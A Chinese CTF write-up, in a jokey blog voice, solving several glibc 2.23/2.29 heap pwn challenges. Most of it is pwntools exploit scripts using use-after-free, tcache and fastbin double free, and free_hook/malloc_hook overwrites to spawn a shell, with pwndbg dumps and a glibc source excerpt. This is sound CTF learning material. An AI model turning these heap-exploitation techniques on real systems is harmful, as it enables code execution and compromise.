这几天👴打了i春秋的带善人CTF,做了俩pwn之后👴觉得👴就是个盲人
今天是2月23号,让👴想到了glibc2.23,这是个好日子,所以今天记录一下
uaf
👴试了一下发现验了double free,直接2.29开始干
只能add七次
👴刚开始以为全局只能一次edit,⑧会打,多一次add或者edit就行了
后来发现是每个chunk可以edit一次
edit能把tcache的key改了,绕过double free检查
4个double free就是7tcache+1unsorted bin,unsorted bin泄露libc,然后tcache打free hook
拿unsortedbin可以填7个,也可以打tcache_perthread_struct,也可以tcache链搞出来-1,-1>7
from pwn import *
#r = process(['./lib/ld-2.29.so','--library-path','./lib/','./pwn'])
r = remote('123.56.85.29',4807)
libc = ELF('./lib/libc.so.6')
def add(name,sex,info):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('name')
r.send(name)
r.recvuntil('sex')
r.send(sex)
r.recvuntil('information')
r.send(info)
def show(index):
r.recvuntil('choice :')
r.sendline('2')
r.recvuntil('index :')
r.sendline(str(index))
def free(index):
r.recvuntil('choice :')
r.sendline('4')
r.recvuntil('index :')
r.sendline(str(index))
def edit(index,yn,info):
r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('index :')
r.sendline(str(index))
r.recvuntil('sex?')
r.send(yn)
r.recvuntil('information')
r.send(info)
add('a'*8,'W','\x00'*0x70)
add('c'*8,'M','\x00'*0x70)
add('c'*8,'M','\x00'*0x70)
add('c'*8,'M','\x00'*0x70)
free(0)
free(1)
show(1)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak - (0x8429280-0x8429000)
log.success(hex(heap_base))
payload = p64(heap_base)
payload = payload.ljust(0x70,'\x00')
edit(0,'Y','\x11'*0x70)
free(0)
edit(1,'Y','\x22'*0x70)
free(3)
edit(3,'Y','\x33'*0x70)
free(3)
free(2)
edit(2,'Y','\x44'*0x70)
free(2)
free(1)
show(1)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-96-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_base +libc.sym['__malloc_hook']
free_hook = libc_base +libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(malloc_hook))
log.success(hex(free_hook))
one = libc_base+0xc224f
log.success(hex(libc_base))
add(p64(free_hook),'W','/bin/sh\x00'*14)#5
add('/bin/sh\x00','W','/bin/sh\x00'*14)#6
add(p64(system),'W','/bin/sh\x00'*14)#7
r.interactive()
但是👴远程打不通
buu的复现环境是2.23
👴寻思比赛远程应该不是2.23,如果是2.23👴打2.29的exp打过去unsorted bin double free必crash
free时只free了0x90的chunk,0x20不动,0x90进unsorted bin,show拿libc地址
add时拿0x20和0x90的chunk,从unsorted bin里切, 可以制造堆块重叠覆盖到某个0x20chunk指向0x90chunk的指针,把指针改为free_hook,然后edit把system写进去
pwndbg> x/64gx 0x8000000+0x202060
0x8202060: 0x0000000008403010 0x00000000084030c0
0x8202070: 0x0000000008403170 0x0000000008403030
0x8202080: 0x0000000008403050 0x0000000000000000
pwndbg> x/64gx 0x8403000
0x8403000: 0x0000000000000000 0x0000000000000021
0x8403010: 0x0000000008403030 0x0000000000000001
0x8403020: 0x0000000000000000 0x0000000000000021
0x8403030: 0x00000000084030e0 0x0000000000000001
0x8403040: 0x0000000000000000 0x0000000000000021
0x8403050: 0x0000000008403190 0x0000000000000001
0x8403060: 0x0000000000000000 0x0000000000000051
0x8403070: 0x00007fffff3f4bb8 0x00007fffff3f4bb8
0x8403080: 0x0000000000000000 0x0000000000000000
0x8403090: 0x0000000000000000 0x0000000000000000
0x84030a0: 0x0000000000000000 0x0000000000000000
0x84030b0: 0x0000000000000050 0x0000000000000020
0x84030c0: 0x00000000084030e0 0x0000000000000001
0x84030d0: 0x0000000000000000 0x0000000000000091
0x84030e0: 0x6161616161616161 0x0000000000000001
0x84030f0: 0x0000000000000000 0x0000000000000000
0x8403100: 0x0000000000000000 0x0000000000000000
0x8403110: 0x0000000000000000 0x0000000000000000
0x8403120: 0x0000000000000000 0x0000000000000000
0x8403130: 0x0000000000000000 0x0000000000000000
0x8403140: 0x0000000000000000 0x0000000000000000
0x8403150: 0x0000000000000000 0x0000000000000000
0x8403160: 0x0000000000000090 0x0000000000000021
0x8403170: 0x0000000008403190 0x0000000000000001
0x8403180: 0x0000000000000000 0x0000000000000091
0x8403190: 0x0068732f6e69622f 0x0000000000000001
0x84031a0: 0x0000000000000000 0x0000000000000000
from pwn import *
#r = process(['./lib/ld-2.29.so','--library-path','./lib/','./pwn'])
r = process('./pwn')
#r = remote('node3.buuoj.cn',25927)
libc = ELF('/libc-2.23.so')
def add(name,sex,info):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('name')
r.send(name)
r.recvuntil('sex')
r.send(sex)
r.recvuntil('information')
r.send(info)
def show(index):
r.recvuntil('choice :')
r.sendline('2')
r.recvuntil('index :')
r.sendline(str(index))
def free(index):
r.recvuntil('choice :')
r.sendline('4')
r.recvuntil('index :')
r.sendline(str(index))
def edit(index,yn,info):
r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('index :')
r.sendline(str(index))
r.recvuntil('sex?')
r.send(yn)
r.recvuntil('information')
r.send(info)
add('a'*8,'W','\x00'*0x70)
free(0)
edit(0,'Y',p64(0)+p64(0)+'\x00'*0x50)
r.interactive()
add('a'*8,'W','\x00'*0x70)
add('a'*8,'W','\x00'*0x70)
free(0)
show(0)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-88-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_base +libc.sym['__malloc_hook']
free_hook = libc_base +libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(malloc_hook))
log.success(hex(free_hook))
one = libc_base+0x4526a
log.success(hex(libc_base))
free(1)
free(2)
add('a'*8,'W','\x00'*0x70)
add('/bin/sh\x00','W','\x00'*0x70)
edit(0,'Y',p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(1)+'\x11'*0x50)
edit(4,'Y',p64(system)+p64(0)+'\x00'*0x50)
free(2)
r.interactive()
uaf
👴试了一下发现验了double free…
add是一次malloc3个,其中一个大小是0x20储存ba和na指针,另外俩size👴决定,不能小于0不能大于0x70
也就是👴可以申请0x20的
这样一次add3个一次free也是3个,填满tcache不需要耗费很多add次数
tcache填满,进fastbin double free,相当于控制了tcache中一个chunk的fd
然后tcache attack打free hook
from pwn import *
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./excited'])
#r = remote('123.56.85.29',6484)
libc = ELF('/pwnlib/libc.so.6')
elf = ELF('./excited')
def add(basize,ba,nasize,na):
r.recvuntil('want to do :')
r.sendline('1')
r.recvuntil('ba\'s length :')
r.sendline(str(basize))
r.recvuntil('ba :')
r.send(ba)
r.recvuntil('na\'s length :')
r.sendline(str(nasize))
r.recvuntil('na :')
r.send(na)
def show(index):
r.recvuntil('want to do :')
r.sendline('4')
r.recvuntil('project ID :')
r.sendline(str(index))
def free(index):
r.recvuntil('want to do :')
r.sendline('3')
r.recvuntil('Banana ID :')
r.sendline(str(index))
add(0x10,'\x11'*8,0x10,'\x11'*8)
add(0x10,'\x22'*8,0x10,'\x22'*8)
add(0x10,'\x33'*8,0x10,'\x33'*8)
free(0)
free(1)
free(2)
show(0)
r.recvuntil('Banana\'s ba is ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.success(hex(leak))
add(0x10,p64(leak+(0x842a560-0x842a4c0))+p64(leak+(0x842a5a0-0x842a4c0)),0x10,'/bin/sh\x00')
log.success(hex(leak))
free(1)
puts_got = elf.got['puts']
add(0x10,p64(elf.got['puts'])*2,0x10,p64(leak+(0x842a550-0x842a4c0)))#
add(0x10,p64(puts_got)*2,0x10,p64(puts_got)*2)
show(0)
r.recvuntil('Banana\'s ba is ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-libc.sym['puts']
log.success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))
log.success(hex(system))
add(0x10,p64(free_hook),0x20,p64(free_hook))
add(0x10,p64(system),0x20,p64(free_hook))
free(3)
r.interactive()
远程打不通,👴才发现是2.23
fastbin double free
申请0x20的chunk可以打到储存ba和na指针的位置,uaf泄露got表
double free打malloc_hook,但是onegadget不好使
👴gdb看了一下free_hook发现free_hook-0x13有个0x7f,但是打不过去,👴可能是被骗了
那👴用realloc调整栈再跳realloc_hook⑧
from pwn import *
r = process('./excited1')
#r = remote('123.56.85.29',6484)
#r = remote('node3.buuoj.cn',28837)
libc = ELF('./libc-2.23.so')
elf = ELF('./excited1')
def add(basize,ba,nasize,na):
r.recvuntil('want to do :')
r.sendline('1')
r.recvuntil('ba\'s length :')
r.sendline(str(basize))
r.recvuntil('ba :')
r.send(ba)
r.recvuntil('na\'s length :')
r.sendline(str(nasize))
r.recvuntil('na :')
r.send(na)
def show(index):
r.recvuntil('want to do :')
r.sendline('4')
r.recvuntil('project ID :')
r.sendline(str(index))
def free(index):
r.recvuntil('want to do :')
r.sendline('3')
r.recvuntil('Banana ID :')
r.sendline(str(index))
add(0x30,'\x22'*8,0x68,'\x22'*8)
add(0x30,'\x33'*8,0x68,'\x33'*8)
free(0)
free(1)
free(0)
add(0x10,p64(elf.got['puts'])*2,0x50,'\x33'*8)
show(1)
r.recvuntil('Banana\'s ba is ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-libc.sym['puts']
log.success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc= libc_base + libc.sym['realloc']
one = libc_base +0xf1147
log.success(hex(free_hook))
log.success(hex(one))
log.success(hex(malloc_hook))
free(2)
print(hex(elf.got['puts']))
add(0x68,p64(malloc_hook-0x23),0x68,p64(malloc_hook-0x23))
add(0x68,p64(malloc_hook-0x23),0x68,'a'*0xb+p64(one)+p64(realloc+2))
r.interactive()
但是远程打不通,因为flag已经读到程序里了,直接读flag就完事了,不用getshell
i春秋的docker估计根据题目要求来的,读flag就完事的题想getshell都⑧行
👴在buu就能打通
所以这题其实在👴泄露got表的时候就已经结束了
from pwn import *
r = process('./excited1')
#r = remote('node3.buuoj.cn',28837)
libc = ELF('./libc-2.23.so')
elf = ELF('./excited1')
def add(basize,ba,nasize,na):
r.recvuntil('want to do :')
r.sendline('1')
r.recvuntil('ba\'s length :')
r.sendline(str(basize))
r.recvuntil('ba :')
r.send(ba)
r.recvuntil('na\'s length :')
r.sendline(str(nasize))
r.recvuntil('na :')
r.send(na)
def show(index):
r.recvuntil('want to do :')
r.sendline('4')
r.recvuntil('project ID :')
r.sendline(str(index))
def free(index):
r.recvuntil('want to do :')
r.sendline('3')
r.recvuntil('Banana ID :')
r.sendline(str(index))
add(0x30,'\x22'*8,0x30,'\x22'*8)
add(0x30,'\x22'*8,0x30,'\x22'*8)
free(0)
free(1)
add(0x10,p64(0x6020a8)*2,0x10,p64(0x6020a8)*2)
show(0)
r.interactive()
uaf
有后门,需要覆盖指针
edit有计数器cnt,初始为0,大于等于0可以edit
glibc 2.29 tcache free时写入key malloc清除key
edit后tcache打到cnt的位置就可以把cnt清0再次edit
from pwn import *
#r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./pwn'])
r = process('./pwn')
#r = remote('123.56.85.29',4205)
libc = ELF('/pwnlib/libc.so.6')
elf = ELF('./pwn')
def add(index):
r.recvuntil('your choice?')
r.sendline('1')
r.recvuntil('idx?')
r.sendline(str(index))
def edit(index,data):
r.recvuntil('your choice?')
r.sendline('2')
r.recvuntil('idx?')
r.sendline(str(index))
sleep(0.1)
r.send(data)
def free(index):
r.recvuntil('your choice?')
r.sendline('3')
r.recvuntil('idx?')
r.sendline(str(index))
cnt = 0x4040BC
ptr = 0x4040C0
add(0)
free(0)
edit(0,p64(0x4040B0))
add(1)
add(2)
edit(2,p64(1)*4)
r.sendline('6')
r.interactive()
⑧清楚key,打cnt不好使
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
calloc会从fastbin中取出所有chunk链入tcache bin
tcache_put不检查,由caller检查,这个链入过程不检查tcache的size
2.29依然如此
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
pwndbg> bin
tcachebins
0x80 [ 7]: 0x405560 —▸ 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x405650 —▸ 0x4055d0 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
1
pwndbg> bin
tcachebins
0x80 [ 6]: 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x405650 —▸ 0x4055d0 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
2
pwndbg> bin
tcachebins
0x80 [ 6]: 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x405650 —▸ 0x4040b0 (stdin@@GLIBC_2.2.5) ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
3
pwndbg> bin
tcachebins
0x80 [ 7]: 0x4040c0 (ptr) —▸ 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
from pwn import *
#r = process('./pwn')
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./pwn'])
#r = remote('node3.buuoj.cn',29162)
elf = ELF('./pwn')
def add(index):
r.recvuntil('your choice?')
r.sendline('1')
r.recvuntil('idx?')
r.sendline(str(index))
def edit(index,data):
r.recvuntil('your choice?')
r.sendline('2')
r.recvuntil('idx?')
r.sendline(str(index))
sleep(0.1)
r.send(data)
def free(index):
r.recvuntil('your choice?')
r.sendline('3')
r.recvuntil('idx?')
r.sendline(str(index))
ptr = 0x4040C0
for i in range(9):
add(i)
for i in range(9):
free(i)
add(9)
edit(8,p64(ptr-0x10))
r.interactive()
r.sendline('6')
这也是glibc2.29的预期解
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).